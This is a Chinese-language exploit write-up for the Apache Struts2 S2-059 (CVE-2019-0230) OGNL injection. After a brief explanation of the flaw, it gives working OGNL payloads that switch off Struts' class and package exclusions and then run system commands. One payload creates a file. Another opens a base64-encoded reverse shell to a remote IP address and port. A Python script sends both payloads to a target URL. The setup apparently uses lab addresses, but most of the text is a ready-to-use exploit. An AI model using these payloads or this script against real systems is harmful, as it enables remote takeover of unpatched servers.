漏洞名称

S2-059 CVE-2019-0230 远程代码执行

利用条件

Struts 2.0.0 - Struts 2.5.20

漏洞原理

漏洞产生的主要原因是因为Apache Struts框架在强制执行时，会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式，并将其设置到可被外部输入进行修改，且会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析，最终造成远程代码执行的影响。

漏洞利用

漏洞检测

将id参数的值改为%25{2*3} 发现执行的2*5成功被解析了，会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析。

命令执行

创建文件

发送payload1

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

发送payload2

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/huaqi.txt'))}

反弹shell

发送payload1

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

发送payload2

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'))}

获取到shell

exp脚本

将反弹shell base64编码替换exp中的shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

# coding:utf-8

import requests
# 更改目标url
url = "http://192.168.56.222:8080/"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
# shell经过base64编码后放置exec中
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)